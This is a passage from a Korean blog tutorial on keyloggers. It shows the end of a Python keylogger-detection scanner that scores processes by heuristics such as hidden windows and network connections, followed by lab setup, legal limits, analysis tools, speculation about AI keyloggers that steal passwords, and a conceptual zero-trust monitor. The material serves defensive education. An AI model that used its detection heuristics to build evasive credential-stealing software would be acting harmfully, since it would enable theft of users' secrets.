            # 4. ์ˆจ๊ฒจ์ง„ ์ฐฝ (GUI ํ”„๋กœ๊ทธ๋žจ์ธ๋ฐ ์ฐฝ์ด ์—†์Œ)
            try:
                import win32gui
                def enum_windows_callback(hwnd, pid_list):
                    if win32process.GetWindowThreadProcessId(hwnd)[1] == pid:
                        pid_list.append(hwnd)
                
                windows = []
                win32gui.EnumWindows(enum_windows_callback, windows)
                
                if len(windows) == 0 and name.endswith('.exe'):
                    suspicion_score += 2
                    reasons.append("Hidden window")
            except:
                pass
            
            if suspicion_score >= 3:
                return {
                    'pid': pid,
                    'name': name,
                    'score': suspicion_score,
                    'reasons': reasons,
                    'cpu': cpu_percent,
                    'memory': mem_mb,
                    'connections': len(connections)
                }
            
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            pass
        
        return None
    
    def scan_processes(self):
        """๋ชจ๋“  ํ”„๋กœ์„ธ์Šค ์Šค์บ”"""
        suspicious = []
        
        for proc in psutil.process_iter():
            result = self.check_process_behavior(proc)
            if result:
                suspicious.append(result)
        
        return suspicious
    
    def monitor_loop(self):
        """๋ชจ๋‹ˆํ„ฐ๋ง ๋ฃจํ”„"""
        print("๐Ÿ” Real-time Keylogger Detection Started")
        print("=" * 60)
        
        while self.monitoring:
            suspicious = self.scan_processes()
            
            if suspicious:
                print(f"\nโš ๏ธ [{time.strftime('%H:%M:%S')}] Found {len(suspicious)} suspicious processes:")
                for proc in suspicious:
                    print(f"\n๐Ÿšจ {proc['name']} (PID: {proc['pid']})")
                    print(f"   Suspicion Score: {proc['score']}/10")
                    print(f"   CPU: {proc['cpu']:.1f}% | Memory: {proc['memory']:.1f}MB")
                    print(f"   Network Connections: {proc['connections']}")
                    print(f"   Reasons:")
                    for reason in proc['reasons']:
                        print(f"     - {reason}")
            
            time.sleep(10)  # 10์ดˆ๋งˆ๋‹ค ์Šค์บ”
    
    def start(self):
        """ํƒ์ง€ ์‹œ์ž‘"""
        monitor_thread = threading.Thread(target=self.monitor_loop, daemon=True)
        monitor_thread.start()
        
        try:
            while True:
                time.sleep(1)
        except KeyboardInterrupt:
            print("\n\n๐Ÿ›‘ Monitoring stopped")
            self.monitoring = False

if __name__ == '__main__':
    detector = RealtimeKeyloggerDetector()
    detector.start()
โš ๏ธ ํƒ์ง€ ์‹œ์Šคํ…œ ํ•œ๊ณ„ ์™„๋ฒฝํ•œ ํƒ์ง€ ์‹œ์Šคํ…œ์€ ์—†์–ด. ์ •๊ตํ•œ ํ‚ค๋กœ๊ฑฐ๋Š” ์ •์ƒ ํ”„๋กœ๊ทธ๋žจ์ฒ˜๋Ÿผ ์œ„์žฅํ•  ์ˆ˜ ์žˆ๊ฑฐ๋“ . ๊ทธ๋ž˜์„œ ์—ฌ๋Ÿฌ ๋ฐฉ์–ด ๊ณ„์ธต์„ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋Š” ๊ฒŒ ์ค‘์š”ํ•ด:

โ€ข ์•ˆํ‹ฐ๋ฐ”์ด๋Ÿฌ์Šค + ์•ˆํ‹ฐ ํ‚ค๋กœ๊ฑฐ ์ „์šฉ ํ”„๋กœ๊ทธ๋žจ
โ€ข ๋„คํŠธ์›Œํฌ ๋ฐฉํ™”๋ฒฝ + ์นจ์ž… ํƒ์ง€ ์‹œ์Šคํ…œ
โ€ข ์ •๊ธฐ์ ์ธ ์‹œ์Šคํ…œ ์Šค์บ” + ํ–‰๋™ ๊ธฐ๋ฐ˜ ๋ถ„์„
โ€ข ์‚ฌ์šฉ์ž ๊ต์œก + ๋ณด์•ˆ ์˜์‹ ํ–ฅ์ƒ

๐ŸŽ“ ๋ณด์•ˆ ์—ฐ๊ตฌ์ž๋ฅผ ์œ„ํ•œ ์‹ค์ „ ํŒ

์ž, ์ด์ œ ์‹ค์ œ๋กœ ๋ณด์•ˆ ์—ฐ๊ตฌ๋ฅผ ํ•  ๋•Œ ์•Œ์•„๋‘๋ฉด ์ข‹์€ ํŒ๋“ค์„ ๊ณต์œ ํ• ๊ฒŒ! ์ด๊ฑด ๋‚ด๊ฐ€ ์—ฌ๋Ÿฌ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค๊ณผ ๊ต๋ฅ˜ํ•˜๋ฉด์„œ ๋ฐฐ์šด ์‹ค์ „ ๋…ธํ•˜์šฐ์•ผ. ๐Ÿ˜Š

๐Ÿ”ฌ ์•ˆ์ „ํ•œ ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ ๊ตฌ์ถ•

๊ฐ€์ƒ ๋จธ์‹  ํ™œ์šฉ ํ‚ค๋กœ๊ฑฐ๋ฅผ ์—ฐ๊ตฌํ•  ๋•Œ๋Š” ๋ฐ˜๋“œ์‹œ ๊ฒฉ๋ฆฌ๋œ ํ™˜๊ฒฝ์—์„œ ํ•ด์•ผ ํ•ด! VirtualBox๋‚˜ VMware ๊ฐ™์€ ๊ฐ€์ƒ ๋จธ์‹ ์„ ์‚ฌ์šฉํ•˜๋ฉด ์•ˆ์ „ํ•˜๊ฒŒ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์–ด. ์Šค๋ƒ…์ƒท ๊ธฐ๋Šฅ์„ ํ™œ์šฉํ•˜๋ฉด ์–ธ์ œ๋“  ๊นจ๋—ํ•œ ์ƒํƒœ๋กœ ๋Œ์•„๊ฐˆ ์ˆ˜ ์žˆ๊ณ , ๋„คํŠธ์›Œํฌ๋„ ๊ฒฉ๋ฆฌํ•  ์ˆ˜ ์žˆ์–ด์„œ ์‹ค์ˆ˜๋กœ ๋ฐ์ดํ„ฐ๊ฐ€ ์œ ์ถœ๋  ๊ฑฑ์ •๋„ ์—†์ง€. ๐Ÿ–ฅ๏ธ

์ถ”์ฒœ ์„ค์ •:
โ€ข Windows 10/11 ๊ฐ€์ƒ ๋จธ์‹  (๋ณด์•ˆ ์—ฐ๊ตฌ์šฉ)
โ€ข ๋„คํŠธ์›Œํฌ: NAT ๋˜๋Š” Host-only (์ธํ„ฐ๋„ท ์ฐจ๋‹จ)
โ€ข ์Šค๋ƒ…์ƒท: ๊นจ๋—ํ•œ ์ƒํƒœ ์ €์žฅ
โ€ข ๊ณต์œ  ํด๋”: ๋น„ํ™œ์„ฑํ™” (๊ฒฉ๋ฆฌ ์œ ์ง€)

๐Ÿ“š ๋ฒ•์  ๊ณ ๋ ค์‚ฌํ•ญ

ํ•ฉ๋ฒ•์ ์ธ ์—ฐ๊ตฌ ๋ฒ”์œ„ โœ… ํ—ˆ์šฉ๋˜๋Š” ๊ฒƒ:
โ€ข ์ž์‹ ์˜ ์ปดํ“จํ„ฐ์—์„œ ํ…Œ์ŠคํŠธ
โ€ข ๊ต์œก ๋ชฉ์ ์˜ ์ฝ”๋“œ ์ž‘์„ฑ ๋ฐ ๋ถ„์„
โ€ข ํ—ˆ๊ฐ€๋ฐ›์€ ๋ชจ์˜ ํ•ดํ‚น (Penetration Testing)
โ€ข ๋ณด์•ˆ ์ทจ์•ฝ์  ์—ฐ๊ตฌ ๋ฐ ๋ณด๊ณ 

โŒ ๊ธˆ์ง€๋˜๋Š” ๊ฒƒ:
โ€ข ํƒ€์ธ์˜ ์ปดํ“จํ„ฐ์— ๋ฌด๋‹จ ์„ค์น˜
โ€ข ๊ฐœ์ธ์ •๋ณด ๋ฌด๋‹จ ์ˆ˜์ง‘
โ€ข ์•…์˜์  ๋ชฉ์ ์˜ ๋ฐฐํฌ
โ€ข ํ—ˆ๊ฐ€ ์—†๋Š” ์‹œ์Šคํ…œ ์นจํˆฌ

๐Ÿ› ๏ธ ์œ ์šฉํ•œ ๋„๊ตฌ๋“ค

๋„๊ตฌ ์ด๋ฆ„ ์šฉ๋„ ํŠน์ง•
Process Monitor ํ”„๋กœ์„ธ์Šค ๋ชจ๋‹ˆํ„ฐ๋ง ์‹ค์‹œ๊ฐ„ ํŒŒ์ผ/๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ™œ๋™ ์ถ”์ 
Wireshark ๋„คํŠธ์›Œํฌ ๋ถ„์„ ํŒจํ‚ท ์บก์ฒ˜ ๋ฐ ๋ถ„์„
IDA Pro ๋ฆฌ๋ฒ„์Šค ์—”์ง€๋‹ˆ์–ด๋ง ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ถ„์„ ๋ฐ ๋””์ปดํŒŒ์ผ
OllyDbg ๋””๋ฒ„๊น… ๋™์  ๋ถ„์„ ๋ฐ ๋””๋ฒ„๊น…
Regshot ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๋น„๊ต ์„ค์น˜ ์ „ํ›„ ๋ณ€๊ฒฝ์‚ฌํ•ญ ์ถ”์ 

๐Ÿ’ผ ์žฌ๋Šฅ๋„ท์—์„œ ๋ณด์•ˆ ์Šคํ‚ฌ ๊ณต์œ ํ•˜๊ธฐ

ํ˜น์‹œ ๋ณด์•ˆ ๋ถ„์•ผ์— ๊ด€์‹ฌ์ด ๋งŽ๋‹ค๋ฉด, ์žฌ๋Šฅ๋„ท(https://www.jaenung.net)์—์„œ ์ž์‹ ์˜ ์ง€์‹์„ ๊ณต์œ ํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ์ „๋ฌธ๊ฐ€๋“ค๊ณผ ๊ต๋ฅ˜ํ•  ์ˆ˜ ์žˆ์–ด! ๋ณด์•ˆ ์ปจ์„คํŒ…, ์ฝ”๋“œ ๋ฆฌ๋ทฐ, ๊ต์œก ๋“ฑ ๋‹ค์–‘ํ•œ ํ˜•ํƒœ๋กœ ์žฌ๋Šฅ์„ ๊ฑฐ๋ž˜ํ•  ์ˆ˜ ์žˆ๊ฑฐ๋“ . ๋‚˜๋„ ๊ฐ€๋” ์žฌ๋Šฅ๋„ท์—์„œ ๋ณด์•ˆ ๊ด€๋ จ ์งˆ๋ฌธ์— ๋‹ต๋ณ€ํ•˜๋ฉด์„œ ๋งŽ์ด ๋ฐฐ์šฐ๊ณ  ์žˆ์–ด. ๐Ÿค

๐Ÿ’ก ์ปค๋ฆฌ์–ด ๋ฐœ์ „ ํŒ ๋ณด์•ˆ ์—ฐ๊ตฌ์ž๋กœ ์„ฑ์žฅํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด:

1. ๊ธฐ์ดˆ ํƒ„ํƒ„ํžˆ: ์šด์˜์ฒด์ œ, ๋„คํŠธ์›Œํฌ, ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๊ธฐ์ดˆ๋ฅผ ํ™•์‹คํžˆ ๋‹ค์ ธ
2. ์‹ค์ „ ๊ฒฝํ—˜: CTF(Capture The Flag) ๋Œ€ํšŒ ์ฐธ๊ฐ€, Bug Bounty ํ”„๋กœ๊ทธ๋žจ ๋„์ „
3. ์ปค๋ฎค๋‹ˆํ‹ฐ ํ™œ๋™: ๋ณด์•ˆ ์ปจํผ๋Ÿฐ์Šค ์ฐธ์„, ์˜จ๋ผ์ธ ์ปค๋ฎค๋‹ˆํ‹ฐ ํ™œ๋™
4. ์ง€์†์  ํ•™์Šต: ์ƒˆ๋กœ์šด ๊ณต๊ฒฉ ๊ธฐ๋ฒ•๊ณผ ๋ฐฉ์–ด ๊ธฐ์ˆ  ๊พธ์ค€ํžˆ ๊ณต๋ถ€
5. ์œค๋ฆฌ ์˜์‹: ํ•ญ์ƒ ํ•ฉ๋ฒ•์ ์ด๊ณ  ์œค๋ฆฌ์ ์ธ ๋ฒ”์œ„ ๋‚ด์—์„œ ์—ฐ๊ตฌ

๐Ÿ”ฎ ๋ฏธ๋ž˜์˜ ํ‚ค๋กœ๊ฑฐ์™€ ๋ฐฉ์–ด ๊ธฐ์ˆ 

๊ธฐ์ˆ ์€ ๊ณ„์† ๋ฐœ์ „ํ•˜๊ณ  ์žˆ์–ด. ๋ฏธ๋ž˜์—๋Š” ์–ด๋–ค ํ˜•ํƒœ์˜ ํ‚ค๋กœ๊ฑฐ๊ฐ€ ๋‚˜์˜ฌ๊นŒ? ๊ทธ๋ฆฌ๊ณ  ์šฐ๋ฆฌ๋Š” ์–ด๋–ป๊ฒŒ ๋Œ€๋น„ํ•ด์•ผ ํ• ๊นŒ? ๐Ÿš€

๐Ÿค– AI ๊ธฐ๋ฐ˜ ํ‚ค๋กœ๊ฑฐ

๋จธ์‹ ๋Ÿฌ๋‹์„ ํ™œ์šฉํ•œ ์ง€๋Šฅํ˜• ํ‚ค๋กœ๊ฑฐ ์ตœ๊ทผ์—๋Š” AI ๊ธฐ์ˆ ์„ ํ™œ์šฉํ•œ ํ‚ค๋กœ๊ฑฐ๊ฐ€ ์—ฐ๊ตฌ๋˜๊ณ  ์žˆ์–ด. ์‚ฌ์šฉ์ž์˜ ํƒ€์ดํ•‘ ํŒจํ„ด์„ ํ•™์Šตํ•ด์„œ ์ค‘์š”ํ•œ ์ •๋ณด(๋น„๋ฐ€๋ฒˆํ˜ธ, ์‹ ์šฉ์นด๋“œ ๋ฒˆํ˜ธ ๋“ฑ)๋งŒ ์„ ๋ณ„์ ์œผ๋กœ ์ˆ˜์ง‘ํ•˜๋Š” ๊ฑฐ์ง€. ์‹ฌ์ง€์–ด ์ž์—ฐ์–ด ์ฒ˜๋ฆฌ(NLP)๋ฅผ ์‚ฌ์šฉํ•ด์„œ ๋Œ€ํ™” ๋‚ด์šฉ์„ ๋ถ„์„ํ•˜๊ณ  ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ž๋™์œผ๋กœ ์ถ”์ถœํ•  ์ˆ˜๋„ ์žˆ์–ด.

ํ•˜์ง€๋งŒ ๋ฐฉ์–ด ๊ธฐ์ˆ ๋„ ๋ฐœ์ „ํ•˜๊ณ  ์žˆ์–ด! AI ๊ธฐ๋ฐ˜ ํ–‰๋™ ๋ถ„์„ ์‹œ์Šคํ…œ์€ ์ •์ƒ์ ์ธ ํ”„๋กœ๊ทธ๋žจ ๋™์ž‘๊ณผ ์•…์„ฑ ํ–‰์œ„๋ฅผ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์—ˆ์ง€. ๐Ÿง 

๐Ÿ” ํ•˜๋“œ์›จ์–ด ๊ธฐ๋ฐ˜ ๋ณด์•ˆ

TPM๊ณผ Secure Enclave ๋ฏธ๋ž˜์˜ ๋ฐฉ์–ด๋Š” ํ•˜๋“œ์›จ์–ด ๋ ˆ๋ฒจ์—์„œ ์ด๋ฃจ์–ด์งˆ ๊ฑฐ์•ผ. TPM(Trusted Platform Module)์ด๋‚˜ Apple์˜ Secure Enclave ๊ฐ™์€ ๊ธฐ์ˆ ์€ ํ‚ค ์ž…๋ ฅ์„ ํ•˜๋“œ์›จ์–ด ๋ ˆ๋ฒจ์—์„œ ์•”ํ˜ธํ™”ํ•ด. ์†Œํ”„ํŠธ์›จ์–ด ํ‚ค๋กœ๊ฑฐ๊ฐ€ ์•„๋ฌด๋ฆฌ ์ •๊ตํ•ด๋„ ์•”ํ˜ธํ™”๋œ ๋ฐ์ดํ„ฐ๋Š” ์ฝ์„ ์ˆ˜ ์—†์ง€!

๋˜ํ•œ ์ƒ์ฒด ์ธ์ฆ(์ง€๋ฌธ, ์–ผ๊ตด ์ธ์‹)์ด ๋” ๋ณดํŽธํ™”๋˜๋ฉด์„œ ํ‚ค๋ณด๋“œ ์ž…๋ ฅ ์ž์ฒด๊ฐ€ ์ค„์–ด๋“ค ๊ฑฐ์•ผ. ๋น„๋ฐ€๋ฒˆํ˜ธ ๋Œ€์‹  ์ƒ์ฒด ์ •๋ณด๋กœ ์ธ์ฆํ•˜๋ฉด ํ‚ค๋กœ๊ฑฐ์˜ ์œ„ํ˜‘์ด ํฌ๊ฒŒ ๊ฐ์†Œํ•˜๊ฒ ์ง€? ๐Ÿ‘†

๐ŸŒ ์ œ๋กœ ํŠธ๋Ÿฌ์ŠคํŠธ ์•„ํ‚คํ…์ฒ˜

๋ฏธ๋ž˜์˜ ๋ณด์•ˆ ํŒจ๋Ÿฌ๋‹ค์ž„์€ '์ œ๋กœ ํŠธ๋Ÿฌ์ŠคํŠธ(Zero Trust)'์•ผ. ์•„๋ฌด๊ฒƒ๋„ ์‹ ๋ขฐํ•˜์ง€ ์•Š๊ณ  ๋ชจ๋“  ๊ฒƒ์„ ๊ฒ€์ฆํ•˜๋Š” ๊ฑฐ์ง€. ํ‚ค ์ž…๋ ฅ ํ•˜๋‚˜ํ•˜๋‚˜๋„ ๊ฒ€์ฆํ•˜๊ณ , ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค์˜ ํ–‰๋™์„ ์‹ค์‹œ๊ฐ„์œผ๋กœ ๋ถ„์„ํ•ด. ์ด๋ ‡๊ฒŒ ๋˜๋ฉด ํ‚ค๋กœ๊ฑฐ๊ฐ€ ์„ค์น˜๋˜๋”๋ผ๋„ ๋ฐ์ดํ„ฐ๋ฅผ ๋นผ๋‚ด๊ธฐ๊ฐ€ ํ›จ์”ฌ ์–ด๋ ค์›Œ์งˆ ๊ฑฐ์•ผ. ๐Ÿ›ก๏ธ

# ๋ฏธ๋ž˜ํ˜• ๋ณด์•ˆ ์‹œ์Šคํ…œ ๊ฐœ๋… ์ฝ”๋“œ
class ZeroTrustInputMonitor:
    """์ œ๋กœ ํŠธ๋Ÿฌ์ŠคํŠธ ๊ธฐ๋ฐ˜ ์ž…๋ ฅ ๋ชจ๋‹ˆํ„ฐ๋ง"""
    
    def __init__(self):
        self.ml_model = self.load_behavior_model()
        self.trusted_processes = set()
        self.encryption_key = self.generate_session_key()
        
    def monitor_input(self, input_event):
        """์ž…๋ ฅ ์ด๋ฒคํŠธ ๋ชจ๋‹ˆํ„ฐ๋ง"""
        # 1. ์ž…๋ ฅ ์ฆ‰์‹œ ์•”ํ˜ธํ™”
        encrypted_input = self.encrypt_input(input_event)
        
        # 2. ์š”์ฒญ ํ”„๋กœ์„ธ์Šค ๊ฒ€์ฆ
        requesting_process = self.get_requesting_process()
        if not self.verify_process(requesting_process):
            self.block_and_alert(requesting_process)
            return None
        
        # 3. ํ–‰๋™ ํŒจํ„ด ๋ถ„์„
        behavior_score = self.ml_model.analyze(requesting_process)
        if behavior_score < self.TRUST_THRESHOLD:
            self.quarantine_process(requesting_process)
            return None
        
        # 4. ๋ณตํ˜ธํ™” ๋ฐ ์ „๋‹ฌ (์‹ ๋ขฐ๋œ ํ”„๋กœ์„ธ์Šค์—๋งŒ)
        return self.decrypt_for_trusted(encrypted_input, requesting_process)
    
    def verify_process(self, process):
        """ํ”„๋กœ์„ธ์Šค ๊ฒ€์ฆ"""
        # ๋””์ง€ํ„ธ ์„œ๋ช… ํ™•์ธ
        if not self.check_digital_signature(process):
            return False
        
        # ์‹คํ–‰ ๊ฒฝ๋กœ ๊ฒ€์ฆ
        if not self.verify_execution_path(process):
            return False
        
        # ๋„คํŠธ์›Œํฌ ํ™œ๋™ ๊ฒ€์ฆ
        if self.has_suspicious_network_activity(process):
            return False
        
        return True
๋ณด์•ˆ ๊ธฐ์ˆ ์˜ ์ง„ํ™” ๊ณผ๊ฑฐ ๐Ÿ“ ๋‹จ์ˆœ ๋กœ๊น… ๐Ÿ’พ ํŒŒ์ผ ์ €์žฅ ๐Ÿ”“ ์•”ํ˜ธํ™” ์—†์Œ ๐Ÿ‘๏ธ ์‰ฌ์šด ํƒ์ง€ ๐ŸŒ ๋А๋ฆฐ ์ „์†ก ํ˜„์žฌ ๐ŸŽฃ API ํ›„ํ‚น ๐ŸŒ ๋„คํŠธ์›Œํฌ ์ „์†ก ๐Ÿ” ์ผ๋ถ€ ์•”ํ˜ธํ™” ๐Ÿ‘ป ์Šคํ…”์Šค ๊ธฐ๋Šฅ ๐Ÿ“ธ ์Šคํฌ๋ฆฐ์ƒท ๐Ÿ“‹ ํด๋ฆฝ๋ณด๋“œ ๋ฏธ๋ž˜ ๐Ÿค– AI ๊ธฐ๋ฐ˜ ๋ถ„์„ ๐Ÿง  ํŒจํ„ด ํ•™์Šต ๐Ÿ”’ ํ•˜๋“œ์›จ์–ด ์•”ํ˜ธํ™” ๐Ÿ‘ค ์ƒ์ฒด ์ธ์ฆ ๐Ÿ›ก๏ธ ์ œ๋กœ ํŠธ๋Ÿฌ์ŠคํŠธ โšก ์‹ค์‹œ๊ฐ„ ์ฐจ๋‹จ ๐ŸŒ ํด๋ผ์šฐ๋“œ ์—ฐ๋™

๐Ÿ“ ๋งˆ๋ฌด๋ฆฌํ•˜๋ฉฐ

์™€, ์ •๋ง ๊ธด ์—ฌ์ •์ด์—ˆ์ง€? ๐Ÿ˜… ์šฐ๋ฆฌ๋Š” ํ‚ค๋กœ๊ฑฐ์˜ ๊ธฐ๋ณธ ์›๋ฆฌ๋ถ€ํ„ฐ ์‹œ์ž‘ํ•ด์„œ ์‹ค์ œ ์ฝ”๋“œ ๊ตฌํ˜„, ํƒ์ง€ ๊ธฐ๋ฒ•, ๊ทธ๋ฆฌ๊ณ  ๋ฏธ๋ž˜ ๊ธฐ์ˆ ๊นŒ์ง€ ๋ชจ๋‘ ์‚ดํŽด๋ดค์–ด. ์ด ๋ชจ๋“  ๋‚ด์šฉ์„ ์ •๋ฆฌํ•˜๋ฉด์„œ ๋А๋‚€ ๊ฑด, ๋ณด์•ˆ์€ ์ •๋ง ๋์—†๋Š” ์‹ธ์›€์ด๋ผ๋Š” ๊ฑฐ์•ผ. ๐ŸฅŠ

๐ŸŽฏ ํ•ต์‹ฌ ์š”์•ฝ 1. ํ‚ค๋กœ๊ฑฐ์˜ ๋ณธ์งˆ: ํ‚ค๋ณด๋“œ ์ž…๋ ฅ์„ ๊ฐ€๋กœ์ฑ„๋Š” ํ”„๋กœ๊ทธ๋žจ. ํ›„ํ‚น ๊ธฐ์ˆ ์„ ์ฃผ๋กœ ์‚ฌ์šฉํ•ด.

2. ๊ตฌํ˜„ ๋ฐฉ๋ฒ•: Python(pynput), C++(Windows API), Linux(/dev/input, X11) ๋“ฑ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ์–ด.

3. ํƒ์ง€ ๊ธฐ๋ฒ•: ํ”„๋กœ์„ธ์Šค ๋ถ„์„, ๋„คํŠธ์›Œํฌ ๋ชจ๋‹ˆํ„ฐ๋ง, ํŒŒ์ผ ์‹œ์Šคํ…œ ๊ฐ์‹œ, ํ–‰๋™ ํŒจํ„ด ๋ถ„์„.

4. ๋ฐฉ์–ด ์ „๋žต: ๊ฐ€์ƒ ํ‚ค๋ณด๋“œ, ์•ˆํ‹ฐ๋ฐ”์ด๋Ÿฌ์Šค, 2๋‹จ๊ณ„ ์ธ์ฆ, ์ œ๋กœ ํŠธ๋Ÿฌ์ŠคํŠธ ์•„ํ‚คํ…์ฒ˜.

5. ์œค๋ฆฌ์  ์ฑ…์ž„: ์˜ค์ง ๊ต์œก๊ณผ ๋ณด์•ˆ ์—ฐ๊ตฌ ๋ชฉ์ ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•ด์•ผ ํ•ด!

๋ณด์•ˆ ๋ถ„์•ผ๋Š” ์ •๋ง ๋งค๋ ฅ์ ์ธ ์˜์—ญ์ด์•ผ. ๊ธฐ์ˆ ์ ์œผ๋กœ๋„ ๋„์ „์ ์ด๊ณ , ์‚ฌํšŒ์ ์œผ๋กœ๋„ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•˜๊ฑฐ๋“ . ํ•˜์ง€๋งŒ ํ•ญ์ƒ ๊ธฐ์–ตํ•ด์•ผ ํ•  ๊ฑด, ํฐ ํž˜์—๋Š” ํฐ ์ฑ…์ž„์ด ๋”ฐ๋ฅธ๋‹ค๋Š” ๊ฑฐ์•ผ. ๐Ÿฆธโ€โ™‚๏ธ

์ด ๊ธ€์„ ์ฝ๋Š” ์—ฌ๋Ÿฌ๋ถ„์ด ์•…์˜์ ์ธ ๋ชฉ์ ์ด ์•„๋‹ˆ๋ผ, ๋” ์•ˆ์ „ํ•œ ๋””์ง€ํ„ธ ์„ธ์ƒ์„ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด ์ด ์ง€์‹์„ ์‚ฌ์šฉํ•˜๊ธธ ๋ฐ”๋ผ. ๋ณด์•ˆ ์—ฐ๊ตฌ์ž, ํ™”์ดํŠธ ํ•ด์ปค, ์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž... ์–ด๋–ค ๊ธธ์„ ์„ ํƒํ•˜๋“  ์œค๋ฆฌ์ ์ธ ์ž์„ธ๋ฅผ ์žƒ์ง€ ๋ง์ž! ๐Ÿ’ช

๐ŸŒŸ ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด:

โ€ข ๊ฐ€์ƒ ๋จธ์‹ ์—์„œ ์ง์ ‘ ์ฝ”๋“œ๋ฅผ ์‹คํ—˜ํ•ด๋ด
โ€ข CTF ๋Œ€ํšŒ์— ์ฐธ๊ฐ€ํ•ด์„œ ์‹ค๋ ฅ์„ ํ‚ค์›Œ๋ด
โ€ข ๋ณด์•ˆ ์ปค๋ฎค๋‹ˆํ‹ฐ์— ๊ฐ€์ž…ํ•ด์„œ ๋‹ค๋ฅธ ์—ฐ๊ตฌ์ž๋“ค๊ณผ ๊ต๋ฅ˜ํ•ด๋ด
โ€ข ์žฌ๋Šฅ๋„ท์—์„œ ๋ณด์•ˆ ๊ด€๋ จ ์žฌ๋Šฅ์„ ๊ณต์œ ํ•˜๊ฑฐ๋‚˜ ๋ฐฐ์›Œ๋ด
โ€ข ํ•ญ์ƒ ์ตœ์‹  ๋ณด์•ˆ ํŠธ๋ Œ๋“œ๋ฅผ ๊ณต๋ถ€ํ•ด๋ด

๋ณด์•ˆ์€ ํ˜ผ์ž ํ•˜๋Š” ๊ฒŒ ์•„๋‹ˆ์•ผ. ํ•จ๊ป˜ ๋ฐฐ์šฐ๊ณ  ์„ฑ์žฅํ•˜๋Š” ๊ฑฐ์ง€! ๐Ÿค

๋งˆ์ง€๋ง‰์œผ๋กœ, ์ด ๊ธ€์—์„œ ์†Œ๊ฐœํ•œ ๋ชจ๋“  ์ฝ”๋“œ์™€ ๊ธฐ๋ฒ•์€ ๊ต์œก ๋ชฉ์ ์ด๋ผ๋Š” ๊ฑธ ๋‹ค์‹œ ํ•œ๋ฒˆ ๊ฐ•์กฐํ• ๊ฒŒ. ์‹ค์ œ ํ™˜๊ฒฝ์—์„œ ๋ฌด๋‹จ์œผ๋กœ ์‚ฌ์šฉํ•˜๋ฉด ๋ฒ•์  ์ฒ˜๋ฒŒ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์–ด. ํ•ญ์ƒ ํ•ฉ๋ฒ•์ ์ด๊ณ  ์œค๋ฆฌ์ ์ธ ๋ฒ”์œ„ ๋‚ด์—์„œ ์—ฐ๊ตฌํ•˜์ž! โš–๏ธ

๊ทธ๋Ÿผ ์—ฌ๋Ÿฌ๋ถ„์˜ ๋ณด์•ˆ ์—ฌ์ •์— ํ–‰์šด์„ ๋นŒ์–ด! ๊ถ๊ธˆํ•œ ์ ์ด ์žˆ์œผ๋ฉด ์–ธ์ œ๋“  ๋ณด์•ˆ ์ปค๋ฎค๋‹ˆํ‹ฐ๋‚˜ ์žฌ๋Šฅ๋„ท์—์„œ ์งˆ๋ฌธํ•ด๋ด. ์šฐ๋ฆฌ ๋ชจ๋‘ ํ•จ๊ป˜ ์„ฑ์žฅํ•˜๋Š” ๊ฑฐ๋‹ˆ๊นŒ! ๐Ÿš€โœจ

๐Ÿ” Stay Safe, Stay Ethical! ๐Ÿ”

์ด ๊ธ€์€ ๋ณด์•ˆ ์—ฐ๊ตฌ ๋ฐ ๊ต์œก ๋ชฉ์ ์œผ๋กœ ์ž‘์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
๋ชจ๋“  ์‹ค์Šต์€ ์ž์‹ ์˜ ์‹œ์Šคํ…œ ๋˜๋Š” ํ—ˆ๊ฐ€๋ฐ›์€ ํ™˜๊ฒฝ์—์„œ๋งŒ ์ง„ํ–‰ํ•˜์„ธ์š”.

๋Œ“๊ธ€ ์ž‘์„ฑ

์ด ๊ธ€์— ๋Œ€ํ•œ ์—ฌ๋Ÿฌ๋ถ„์˜ ์ƒ๊ฐ์„ ๋“ค๋ ค์ฃผ์„ธ์š”

๋Œ“๊ธ€ 0
๋Œ“๊ธ€์„ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘์ž…๋‹ˆ๋‹ค.

์•„์ง ๋Œ“๊ธ€์ด ์—†์Šต๋‹ˆ๋‹ค.